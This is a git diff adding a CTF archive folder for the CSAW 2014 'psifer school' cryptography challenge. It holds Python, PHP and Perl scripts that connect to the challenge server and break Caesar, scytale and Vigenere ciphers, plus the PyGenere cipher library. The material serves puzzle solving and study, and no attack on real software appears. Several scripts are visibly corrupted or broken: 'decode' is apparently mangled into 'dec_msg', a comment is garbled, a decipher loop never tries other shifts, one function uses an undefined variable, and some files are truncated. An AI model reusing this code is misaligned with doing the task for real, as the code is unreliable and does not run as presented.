diff --git a/CTFs/2014-CSAW-CTF/README.md b/CTFs/2014-CSAW-CTF/README.md new file mode 100644 index 0000000..e69de29 diff --git a/CTFs/2014-CSAW-CTF/cryptography/README.md b/CTFs/2014-CSAW-CTF/cryptography/README.md new file mode 100644 index 0000000..886e8cb --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/README.md @@ -0,0 +1,16 @@ +# CSAW CTF 2014 - Cryptography Problems + +#### psifer school + +[My write-up](https://gist.github.com/bt3gl/a8617848ccb37e56034d) + + +#### cfbsum + +[My write-up](https://gist.github.com/bt3gl/73cbe9a9f21b7c8c73a6) + + + +#### Feal + +[My write-up](https://gist.github.com/bt3gl/ff057566e256144291c7) \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/README.md b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/README.md new file mode 100644 index 0000000..886e8cb --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/README.md @@ -0,0 +1,16 @@ +# CSAW CTF 2014 - Cryptography Problems + +#### psifer school + +[My write-up](https://gist.github.com/bt3gl/a8617848ccb37e56034d) + + +#### cfbsum + +[My write-up](https://gist.github.com/bt3gl/73cbe9a9f21b7c8c73a6) + + + +#### Feal + +[My write-up](https://gist.github.com/bt3gl/ff057566e256144291c7) \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/__init__.py b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/caesarCipher.py b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/caesarCipher.py new file mode 100644 index 0000000..6efc7d3 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/caesarCipher.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +import string + + +FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357, + 0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, + 0.0164, 0.0004] + + + +def delta(freq_word, freq_eng): + # zip together the value from the text and the value from FREQ_EdiffGlist_freqISH + diff = 0.0 + for a, b in zip(freq_word, freq_eng): + diff += abs(a - b) + return diff + + + +def cipher(msg, key): + # Make the cipher + dec = '' + for c in msg.lower(): + if 'a' <= c <= 'z': + dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26) + else: + dec += c + return dec + + + +def frequency(msg): + # Compute the word frequencies + dict_freq = dict([(c,0) for c in string.lowercase]) + diff = 0.0 + for c in msg: + if 'a'<= c <= 'z': + diff += 1 + dict_freq[c] += 1 + list_freq = dict_freq.items() + list_freq.sort() + return [b / diff for (a, b) in list_freq] + + + +def decipher(msg): + # Decipher by frequency + min_delta = 1000 + best_rotation = 0 + freq = frequency(msg) + for key in range(26): + d = delta(freq, FREQ_ENGLISH) + if d < min_delta: + min_delta = d + best_rotation = key + return cipher(msg, -best_rotation) + + + +def decipher_simple(msg): + # very smart way of solving using translate and maketrans methods + diff = (ord('t') - ord(s[0])) % 26 + x = string.ascii_lowercase + x = x[diff:] + x[:diff] + ans = string.translate(s,string.maketrans(string.ascii_lowercase,x)) + return ans + + + +if __name__ == '__main__': + + key = 13 + text = 'hacker school is awesome!' + cip = cipher(text, key) + dec = decipher(cip) + + print "Cipher: " + cip + print "Decipher: " + dec + + assert(text == dec) \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/from_the_net/psifer-school.php b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/from_the_net/psifer-school.php new file mode 100644 index 0000000..b795426 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/from_the_net/psifer-school.php @@ -0,0 +1,238 @@ +=0 ? $iVignereIndex : strlen(self::$mVigTable)+$iVignereIndex; + return self::$mVigTable{$iVignereIndex}; + } + final public function generateKey() + { + self::$mKey = ''; + for ($i = 0; $i < self::$mMod; $i++) { + self::$mKey .= self::$mVigTable{rand(0, self::$mMod)}; + } + return self::$mKey; + } + final public function encrypt($rText, $rKey) + { + $sEncryptValue = ''; + $sKey = (String)$rKey; + $sText = (String)$rText; + + for($i = 0; $i < strlen($sText); $i++) + { + (int)$iText = self::getVignereIndex($sText[$i]); + (int)$iKey = self::getVignereIndex(self::charAt($sKey, $i)); + + $iEncryptIndex = ($iText+$iKey)%(self::$mMod); + $iEncryptIndex = self::EnsureKeyValid($iEncryptIndex); + $sEncryptValue .= self::getVignereChar($iEncryptIndex); + } + return $sEncryptValue; + } + final public function encrypt2($rText, $rKey, $rMod) + { + (String)$sEncryptValue = ''; + $sKey = (String)$rKey; + $sText = (String)$rText; + $iMod = (int)$rMod; + + for($i = 0; $i < strlen($sText); $i++) + { + (int)$iText = self::getVignereIndex($sText[$i]); + (int)$iKey = self::getVignereIndex(self::charAt($sKey, $i)); + + $iEncryptIndex = ($iText+$iKey)%($iMod); + $iEncryptIndex = self::EnsureKeyValid($iEncryptIndex); + $sEncryptValue .= self::getVignereChar($iEncryptIndex); + } + return $sEncryptValue; + } + final public function decrypt($rText, $rKey) + { + (String)$sDecryptValue = ''; + $sKey = (String)$rKey; + $sText = (String)$rText; + + for($i = 0; $i < strlen($sText); $i++) + { + (int)$iText = self::getVignereIndex($sText[$i]); + (int)$iKey = self::getVignereIndex(self::charAt($sKey, $i)); + + $iDecryptIndex = ($iText-$iKey)%(self::$mMod); + $iDecryptIndex = self::EnsureKeyValid($iDecryptIndex); + + $sDecryptValue .= self::getVignereChar($iDecryptIndex); + } + return $sDecryptValue; + } + final public function decrypt2($rText, $rKey, $rMod) + { + (String)$sDecryptValue = ''; + $sKey = (String)$rKey; + $sText = (String)$rText; + $iMod = (int)$rMod; + + for($i = 0; $i < strlen($sText); $i++) + { + (int)$iText = self::getVignereIndex($sText[$i]); + (int)$iKey = self::getVignereIndex(self::charAt($sKey, $i)); + + + $iDecryptIndex = ($iText-$iKey)%($iMod); + $iDecryptIndex = self::EnsureKeyValid($iDecryptIndex); + + $sDecryptValue .= self::getVignereChar($iDecryptIndex); + } + return $sDecryptValue; + } + private function charAt($rStr, $rPos) + { + $iPos = (int)$rPos%strlen((String)$rStr); + + return $rStr{$iPos}; + } + + private function EnsureKeyValid($rIndex) + { + $iIndex = (int)$rIndex; + return ($iIndex >= 0) ? $iIndex : (strlen(self::$mVigTable)+$iIndex); + } + + } + + function decrypt_final($key,$text){ + $text = str_replace(" ","", strtolower($text)); + $key = $key; + $plain= new Vigenere($key); + $plain= $plain->decrypt($text,$key); + return strtoupper($plain); + } + + function str_rot($s, $n = 13) { + $n = (int)$n % 26; + if (!$n) return $s; + for ($i = 0, $l = strlen($s); $i < $l; $i++) { + $c = ord($s[$i]); + if ($c >= 97 && $c <= 122) { + $s[$i] = chr(($c - 71 + $n) % 26 + 97); + } else if ($c >= 65 && $c <= 90) { + $s[$i] = chr(($c - 39 + $n) % 26 + 65); + } + } + return $s; + } + + function inStr ($needle, $haystack) { // instr("test","testtest"); + $needlechars = strlen($needle); + $i = 0; + for($i=0; $i < strlen($haystack); $i++) + { + if(substr($haystack, $i, $needlechars) == $needle) + { + return TRUE; + } + } + return FALSE; + } + + $usenet = fsockopen("54.209.5.48", "12345", $errno, $errstr, 3); + first: + while (!feof($usenet)) { + $kp = fgets($usenet, 128); + if(inStr("psifer text:", $kp)){ + $kp = explode("psifer text: ", $kp); + $kp = $kp[1]; + $kp = explode("\n", $kp); + $kp = $kp[0]; + for($i=0;$i<25;$i++){ + $temp = str_rot($kp, $i) . "\n"; + if(instr("the answer to this stage is" , $temp)){ + $temp = explode("the answer to this stage is " , $temp); + $temp = $temp[1]; + goto second; + } + } + } + } + second: + fputs($usenet, $temp); + while (!feof($usenet)) { + $kp = fgets($usenet, 260); + if(inStr("psifer text:", $kp)){ + $kp = explode("psifer text: ", $kp); + $kp = $kp[1]; + $possible_flag = array("easiest answer", "more answers here", "winning for the win", "tired of making up bogus answers", "not not wrong"); + $possible_guess= rand(0,2); + fputs($usenet, $possible_flag[$possible_guess] . "\n"); + goto third; + } + } + third: + while (!feof($usenet)) { + if(!$usenet) die("error."); + $kp = fgets($usenet, 8192); + if(inStr("psifer text:", $kp)){ + $kp = explode("psifer text: ", $kp); + $kp = $kp[1]; + /* + echo @decrypt_final("force",$kp) . "\n----\n"; + echo @decrypt_final("tobrute",$kp) . "\n----\n"; + echo @decrypt_final("dictionary",$kp) . "\n----\n"; + echo @decrypt_final("diary",$kp) . "\n----\n"; + */ + if(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("force",$kp))){ + $temp = @decrypt_final("force",$kp); + $temp = explode("DLERIGHTHERE",$temp); + $temp = $temp[1]; + $temp = explode("OKNOW",$temp); + $temp = $temp[0]; + fputs($usenet, $temp); + }elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("tobrute",$kp))){ + $temp = @decrypt_final("tobrute",$kp); + $temp = explode("DLERIGHTHERE",$temp); + $temp = $temp[1]; + $temp = explode("OKNOW",$temp); + $temp = $temp[0]; + fputs($usenet, $temp); + }elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("dictionary",$kp))){ + $temp = @decrypt_final("tobrute",$kp); + $temp = explode("DLERIGHTHERE",$temp); + $temp = $temp[1]; + $temp = explode("OKNOW",$temp); + $temp = $temp[0]; + fputs($usenet, $temp); + }elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("diary",$kp))){ + $temp = @decrypt_final("diary",$kp); + $temp = explode("DLERIGHTHERE",$temp); + $temp = $temp[1]; + $temp = explode("OKNOW",$temp); + $temp = $temp[0]; + fputs($usenet, $temp); + } + fputs($usenet,"\n"); + $kp = fgets($usenet, 8192); + echo $kp; + } + } + + +?> \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/from_the_net/psifer-school.pl b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/from_the_net/psifer-school.pl new file mode 100644 index 0000000..4b472ea --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/from_the_net/psifer-school.pl @@ -0,0 +1,168 @@ +#!/usr/bin/perl -w + +# By Black-ID +#@Go Back +#CSAW 2014 + + +use IO::Socket; +use POSIX; +use warnings; +no warnings; + +my $server = "54.209.5.48"; +my $port = 12345; + +# Create new Socket +my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => $port,Proto => 'tcp') or die "Can't connect\n"; + +# Log on to CSAW server. + +sub caesarCipher { + $strText = $_[0]; + $iShiftValue = $_[1]; + + my $strCipherText = ""; + @strTextArray = split(//, $strText); + + $iShift = $iShiftValue % 26; + if ($iShift < 0) { + $iShift += 26; + } + + $i = 0; + while ($i < length($strText)) { + $c = uc($strTextArray[$i]); + if ( ($c ge 'A') && ($c le 'Z') ) { + if ( chr(ord($c) + $iShift) gt 'Z') { + $strCipherText .= chr(ord($c) + $iShift - 26); + } else { + $strCipherText .= chr(ord($c) + $iShift); + } + } else { + $strCipherText .= " "; + } + $i++; + } + return lc($strCipherText); +} + +sub scytaleCipher { + $strText = $_[0]; + $iShiftValue = $_[1]; + + my $strCipherText = ""; + @strTextArray = split //, $strText; + $M = length($strText); + $iShift = floor($M/$iShiftValue); + + if ($iShift*$iShiftValue < $M) { + $iShift++; + } + for($a=0;$a<$iShiftValue;$a++) { + for($i=0;$i<$iShift;$i++) { + $strCipherText .= $strTextArray[$a+$i*$iShiftValue]; + } + } + return $strCipherText; + } + sub vigenerebrute{ + $strChiper = $_[0]; + $strCipherText = ""; + $a = 0; + for($a=0;$a<10;$a++) { + @chars = split(//, "abcdefghijklmnopqrstuvwxyz"); + #print $chars[0]; + for($i=0;$i<26;$i++) { + $output = decrypt_string($strChiper,$chars[$i]); + @out = split(//, $output); + @cmp = split(//, "thistimewewillgive"); + #print $out[$i]; + if($out[$a] eq $cmp[$a]) { + $strCipherText .= $chars[$i]; + } + } + $output = decrypt_string($strChiper,$strCipherText); + if($output =~ /thistimewewillgive(.*)/){ + last; + } + } + if ($output =~ /righthere(.*)oknow/){ + return $1; + } + + +} +sub decrypt_string{ + my ($ciphertext, $key) = @_; + my $plaintext; + $key = $key x (length($ciphertext) / length($key) + 1); + for( my $i=0; $irecv($data,1024); +print $data; +$sock->recv($data,1024); +print $data; +if($data =~ m/psifer text: (.+)$/g){ +$cipher = $1; +print "\nEncoded: $cipher\n"; +for($a=0;$a<=26;$a++) { + +$st = caesarCipher($cipher, $a); +if ($st =~ /the answer(.*)/){ +print "\nDecoded: $st\n"; +$ccipher = substr $st, 28; +$sock->send($ccipher."\n"); +print "\nKey: $ccipher\n"; +} +} +} +$sock->recv($data,1024); +print $data; +if($data =~ /psifer text: (.*)/){ +$cipher = $1; +print "\nEncoded: $cipher\n"; +for($a=1;$a<=300;$a++) { +$st = scytaleCipher ($cipher,$a); +if ($st =~ /I hope you(.*)/){ +print "[$a] => $st\n"; +if($st =~ /"(.+?)"/){ +$key = $1; +print "\nkey is : $key\n"; +$sock->send($key."\n"); + +} +} +} + +} +$sock->recv($data,1024); +print $data; +if($data =~ /psifer text: (.*)/){ +$cipher = $1; +$cipher =~ s/\s+//g; +print "\nEncoded: $cipher\n"; +$key = vigenerebrute($cipher); +print "\nkey is : $key\n"; +$sock->send($key."\n"); +$sock->recv($data,1024); +print $data; +$sock->recv($data,1024); +print $data; +} diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/psifer-school.py b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/psifer-school.py new file mode 100644 index 0000000..aaf60d7 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/psifer-school.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +import sys +from telnetlib import Telnet +from caesarCipher import decipher, decipher_simple +from pygenere import VigCrack + + + +def solve1(msg): + # Caesar Cipher + # Solve the first cypher and encode back to unicode: + # the method encode() returns an encoded version of the string + # Both method work fine. + # One is by freq. analysis or the other by rotating + dec_msg = decipher(msg) + #dec_msg = decipher_simple(msg) + dec_msg = dec_msg.split()[-1] + return dec_msg + + + + +def solve2(msg): + # Shift cypher, but dealing with special characters + for j in range(2, len(msg)): + dec_msg = ['0'] * len(msg) + idec_msg,shift = 0, 0 + for i in range(len(msg)): + dec_msg[idec_msg] = msg[i] + idec_msg += j + if idec_msg >= len(msg): + shift += 1 + idec_msg = shift + dec_msg = "".join(dec_msg) + if "you" not in dec_msg: continue + return dec_msg + + + + + +def solve3(msg): + # Vigenere Cypher + key = VigCrack(msg).crack_codeword() + dec_msg = VigCrack(msg).crack_message() + dec_msg = dec_msg.replace(" ", "") + return key, dec_msg + + + + + +if __name__ == '__main__': + + PORT = 12345 + HOST = '54.209.5.48' + tn = Telnet(HOST ,PORT) + + + ''' + SOLVING STAGE 1 - CEASAR CIPHER + ''' + + tn.read_until(b'psifer text: ') + msg_in1 = tn.read_until(b'\n').dec_msg().strip() + + answer1 = solve1(msg_in1) + + tn.write(answer1.encode() + b'\n') + + print 'Message stage 1: ' + msg_in1 + print + print 'Answer stage 1: ' + answer1 + print + print + + + + ''' + SOLVING STAGE 2 - SPECIAL CHARS + ''' + msg_in2 = tn.read_all().dec_msg() + msg_in2 = (msg_in2.split(':')[1]).split("Time")[0] + + answer2 = solve2(msg_in2) + + tn.write(answer2.encode() + b'\n') + + print 'Message stage 2: ' + msg_in2 + print + print 'Answer stage 2: ' + answer2 + print + print + + + ''' + SOLVING STAGE 3 - VINEGERE + ''' + msg_in3 = tn.read_all().dec_msg() + msg_in3 = (msg_in3.split(':')[1]).split("Time")[0] + + + key, answer3 = solve3(msg_in3) + tn.write(answer3.encode() + b'\n') + + print 'Message stage 3: ' + msg_in3 + print + print 'Answer stage 3: ' + answer3 + print '(key: ' + key + ')' diff --git a/CTFs/2014-CSAW-CTF/cryptography/crypto-200/pygenere.py b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/pygenere.py new file mode 100644 index 0000000..1c28b4d --- /dev/null +++ b/CTFs/2014-CSAW-CTF/cryptography/crypto-200/pygenere.py @@ -0,0 +1,477 @@ +# PyGenere v 0.3 +# +# Release Date: 2007-02-16 +# Author: Simon Liu +# URL: http://smurfoncrack.com/pygenere +# History and License at end of file + + +r""" +This library implements the Caesar and Vigenere ciphers, allowing a piece of +plaintext to be encoded using a numeric rotation or an alphabetic keyword, +and also decoded if the key/rotation is known. + +In case the key is not known, methods are provided that analyze the ciphertext +and attempt to find the original key and decode the message: these work using +character frequency analysis. English, French, German, Italian, Portuguese, +and Spanish texts are currently supported. Results are generally accurate if +the length of the plaintext is long compared to the length of the key used to +encipher it. + +Example usage: + +>>> from pygenere import * +>>> plaintext = 'Attack at dawn.' +>>> key = 3 +>>> ciphertext = Caesar(plaintext).encipher(key) +>>> ciphertext +'Dwwdfn dw gdzq.' +>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc. +'Attack at dawn.' + +The 'Attack at dawn.' message is too short for the automatic Vigenere decoder +to work properly. A way around this is to concatenate copies of the message +to itself, increasing the amount of text to analyze: + +>>> VigCrack(ciphertext*5).crack_codeword(1) +'D' +>>> VigCrack(ciphertext*5).crack_message() +'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.' + +The crack_message() and crack_codeword() methods in the VigCrack class take 0, +1 or 2 arguments. For more information, see the docstrings for those methods. + +Note that this method (repeating the ciphertext) does not always work, but can +sometimes be of use, as in the case of the example above. + +Both the encipher() and decipher() methods for Vigenere and Caesar objects +return a cipher object of the same type. This makes method chaining possible: + +>>> codeword = 'King' +>>> Vigenere(plaintext).encipher(codeword).decipher(codeword) +'Attack at dawn.' +>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1) +'Attack at dawn.' + +Note: + + 1. Non-alphabetic input (e.g. " " and "." above) is left as is. + 2. The case of the input (plaintext/ciphertext) is preserved. + 3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are + identical keys. + +Since each cipher is a subclass of the built-in str class, any cipher object +can be treated as a string. For instance: + +>>> Vigenere(plaintext).replace(' ', '').lower() +'attackatdawn.' + +However, since Python 2.1 and below don't seem to support subclasses of +the str class, Python 2.2 or newer is required to use this library. + +By default, PyGenere assumes that the original plaintext message was written +in English, and thus English character frequencies are used for analysis. +To change the language, the set_language() method is used. For example, the +following code shows a short French string, encrypted with the keyword +'FR', decoded. Without setting the language first, an incorrect result is +obtained: + +>>> text = 'Non, je ne veux pas coucher avec vous ce soir' +>>> encrypted = Vigenere(text).encipher('FR') +>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2) +FR +>>> print VigCrack(encrypted).crack_codeword(2) +FS + +This isn't always the case: two languages may have similar enough character +frequency distributions that decoding sometimes works correctly even when the +language setting is incorrect. + +Currently, PyGenere's language options other than English are DE (German), +ES (Spanish), FR (French), IT (Italian), and PT (Portuguese). +""" + + +class Caesar(str): + + """An implementation of the Caesar cipher.""" + + def encipher(self, shift): + """Encipher input (plaintext) using the Caesar cipher and return it + (ciphertext).""" + ciphertext = [] + for p in self: + if p.isalpha(): + ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) + + shift) % 26 + ord('Aa'[int(p.islower())]))) + else: + ciphertext.append(p) + return Caesar(''.join(ciphertext)) + + def decipher(self, shift): + """Decipher input (ciphertext) using the Caesar cipher and return it + (plaintext).""" + return self.encipher(-shift) + + +class Vigenere(str): + + """An implementation of the Vigenere cipher.""" + + def encipher(self, key): + """Encipher input (plaintext) using the Vigenere cipher and return + it (ciphertext).""" + ciphertext = [] + k = 0 + n = len(key) + for i in range(len(self)): + p = self[i] + if p.isalpha(): + ciphertext.append(chr((ord(p) + ord( + (key[k % n].upper(), key[k % n].lower())[int(p.islower())] + ) - 2*ord('Aa'[int(p.islower())])) % 26 + + ord('Aa'[int(p.islower())]))) + k += 1 + else: + ciphertext.append(p) + return Vigenere(''.join(ciphertext)) + + def decipher(self, key): + """Decipher input (ciphertext) using the Vigenere cipher and return + it (plaintext).""" + plaintext = [] + k = 0 + n = len(key) + for i in range(len(self)): + c = self[i] + if c.isalpha(): + plaintext.append(chr((ord(c) - ord( + (key[k % n].upper(), key[k % n].lower())[int(c.islower())] + )) % 26 + ord('Aa'[int(c.islower())]))) + k += 1 + else: + plaintext.append(c) + return Vigenere(''.join(plaintext)) + + +class InputError(Exception): + + """This class is only used for throwing exceptions if the user supplies + invalid input (e.g. ciphertext is an empty string).""" + + pass + + +class VigCrack(Vigenere): + + """ + VigCrack objects have methods to break Vigenere-encoded texts when the + original key is unknown. + + The technique used is based on the one described in: + + http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf + (pages 9-10) + + Character frequencies taken from: + http://www.csm.astate.edu/~rossa/datasec/frequency.html (English) + http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish) + http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German) + """ + + # Unless otherwise specified, test for codewords between (and including) + # these two lengths: + __default_min_codeword_length = 5 + __default_max_codeword_length = 9 + + # The following are language-specific data on character frequencies. + # Kappa is the "index of coincidence" described in the cryptography paper + # (link above). + __english_data = { + 'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702, + 'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153, + 'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507, + 'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056, + 'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974, + 'Z':0.074, 'max_val':12.702, 'kappa':0.0667 + } + + __french_data = { + 'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22, + 'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339, + 'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38, + 'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99, + 'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271, + 'Z':0.098, 'max_val':17.22, 'kappa':0.0746 + } + + __german_data = { + 'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693, + 'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191, + 'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285, + 'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742, + 'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032, + 'Z':1.002, 'max_val':16.693, 'kappa':0.0767 + } + + __italian_data = { + 'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24, + 'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035, + 'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11, + 'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76, + 'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048, + 'Z':0.958, 'max_val':11.57, 'kappa':0.0733 + } + + __portuguese_data = { + 'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72, + 'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317, + 'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90, + 'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63, + 'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165, + 'Z':0.400, 'max_val':13.89, 'kappa':0.0745 + } + + __spanish_data = { + 'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89, + 'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461, + 'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58, + 'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49, + 'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14, + 'Z':0.324, 'max_val':13.89, 'kappa':0.0766 + } + + # The default language is set to English. + __lang = 'EN' + __lang_data = __english_data + + # This method sets the lang (__lang) attribute of a VigCrack object. + def set_language(self, language): + self.__lang = language.upper() + if self.__lang == 'DE': + self.__lang_data = self.__german_data + elif self.__lang == 'ES': + self.__lang_data = self.__spanish_data + elif self.__lang == 'FR': + self.__lang_data = self.__french_data + elif self.__lang == 'IT': + self.__lang_data = self.__italian_data + elif self.__lang == 'PT': + self.__lang_data = self.__portuguese_data + else: + self.__lang = 'EN' + return self + + # Rotate text n places to the right, wrapping around at the end. + def __rotate_right(self, n): + cutting_point = len(self) - (n % len(self)) + return self[cutting_point:] + self[:cutting_point] + + # Get every nth char from a piece of text, from a given starting position. + def __get_every_nth_char(self, start, n): + accumulator = [] + for i in range(len(self)): + if (i % n) == start: + accumulator.append(self[i]) + return VigCrack(''.join(accumulator)).set_language(self.__lang) + + # Build a dictionary containing the number of occurrences of each char. + def __count_char_freqs(self): + dictionary = {} + self = self.upper() + for char in self: + if char.isalpha(): + dictionary[char] = dictionary.get(char, 0) + 1 + return dictionary + + # Scale the dictionary so that it can be compared with __lang_data. + def __scale(self, dictionary): + v = dictionary.values() + v.sort() + max_val = v[-1] + scaling_factor = self.__lang_data['max_val']/max_val + for (k, v) in dictionary.items(): + dictionary[k] = v*scaling_factor + return dictionary + + # The residual error is the difference between a char's frequency in + # __lang_data and its frequency in the scaled dictionary from above. + # The error is then squared to remove a possible negative value. + def __sum_residuals_squared(self, dictionary): + sum = 0 + for (k, v) in dictionary.items(): + sum += (v - self.__lang_data[k])**2 + return sum + + # Find the Caesar shift that brings the ciphertext closest to the + # character distribution of the plaintext's language. + def __find_best_caesar_shift(self): + best = 0 + smallest_sum = -1 + # Find the residual sum for each shift. + for shift in range(26): + encoded_text = Caesar(self).encipher(shift) + vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang) + char_freqs = vigcrack_obj.__count_char_freqs() + scaled = vigcrack_obj.__scale(char_freqs) + current_sum = vigcrack_obj.__sum_residuals_squared(scaled) + # Keep track of the shift with the lowest residual sum. + # If there's a tie, the smallest shift wins. + if smallest_sum == -1: + smallest_sum = current_sum + if current_sum < smallest_sum: + best = shift + smallest_sum = current_sum + return best + + def __find_codeword_length(self, min_length, max_length): + codeword_length = min_length + kappas = [] + # Put the kappa value for each codeword length tested into an array. + for i in range(min_length, max_length + 1): + temp = self.__rotate_right(i) + coincidences = 0 + for j in range(len(self)): + if temp[j] == self[j]: + coincidences += 1 + kappas.append(float(coincidences)/len(self)) + # Find out which value of kappa is closest to the kappa of the + # plaintext's language. If there's a tie, the shortest codeword wins. + smallest_squared_diff = -1 + for i in range((max_length + 1) - min_length): + current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2 + if smallest_squared_diff == -1: + smallest_squared_diff = current_squared_diff + if current_squared_diff < smallest_squared_diff: + codeword_length = min_length + i + smallest_squared_diff = current_squared_diff + return codeword_length + + def __find_codeword(self, min_length, max_length): + # Strip away invalid chars. + accumulator = [] + for char in self: + if char.isalpha(): + accumulator.append(char) + alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang) + codeword_length = alpha_only.__find_codeword_length(min_length, + max_length) + # Build the codeword by finding one character at a time. + codeword = [] + for i in range(codeword_length): + temp = alpha_only.__get_every_nth_char(i, codeword_length) + shift = temp.__find_best_caesar_shift() + if shift == 0: + codeword.append('A') + else: + codeword.append(chr(ord('A') + (26 - shift))) + return VigCrack(''.join(codeword)).set_language(self.__lang) + + def __parse_args(self, *arg_list): + if len(arg_list) == 0: # Use default values for codeword length. + min_length = self.__default_min_codeword_length + max_length = self.__default_max_codeword_length + elif len(arg_list) == 1: # Exact codeword length specified by user. + min_length = max_length = int(arg_list[0]) + else: # min_length and max_length given by user. + min_length = int(arg_list[0]) + max_length = int(arg_list[1]) + # Check for input errors. + if min_length == max_length: + if min_length < 1: + raise InputError('Codeword length is too small') + else: + if min_length < 1: + raise InputError('min_length is too small') + if max_length < 1: + raise InputError('max_length is too small') + if max_length < min_length: + raise InputError('max_length cannot be shorter than min_length') + if len(self) == 0: + raise InputError('Ciphertext is empty') + if len(self) < max_length: + raise InputError('Ciphertext is too short') + # Check that the ciphertext contains at least one valid character. + has_valid_char = False + for char in self: + if char.isalpha(): + has_valid_char = True + break + if not has_valid_char: + raise InputError('No valid characters in ciphertext') + # If everything's all right, return the min_length and max_length. + return [min_length, max_length] + + def crack_codeword(self, *arg_list): + """ + Try to find the codeword that encrypted the ciphertext object. + If no arguments are supplied, codewords between the default minimum + length and the default maximum length are tried. + If one integer argument is supplied, only codewords with that length + will be tried. + If two integer arguments are given then the first argument is treated + as a minimum codeword length, and the second argument is treated as a + maximum codeword length, to try. + """ + array = self.__parse_args(*arg_list) + return self.__find_codeword(array[0], array[1]) + + def crack_message(self, *arg_list): + """ + Try to decode the ciphertext object. + This method accepts arguments in the same way as the crack_codeword() + method. + """ + codeword = self.crack_codeword(*arg_list) + return self.decipher(codeword) + + +# History +# ------- +# +# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code +# more compliant with the Python Style Guide +# (http://www.python.org/dev/peps/pep-0008/). +# +# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES), +# French (FR), Italian (IT), and Portuguese (PT). +# +# 2006-04-29: v 0.1. First release. +# +# +# +# License +# ------- +# +# Copyright (c) 2006, Simon Liu +# All rights reserved. +# +# This library incorporates code from the 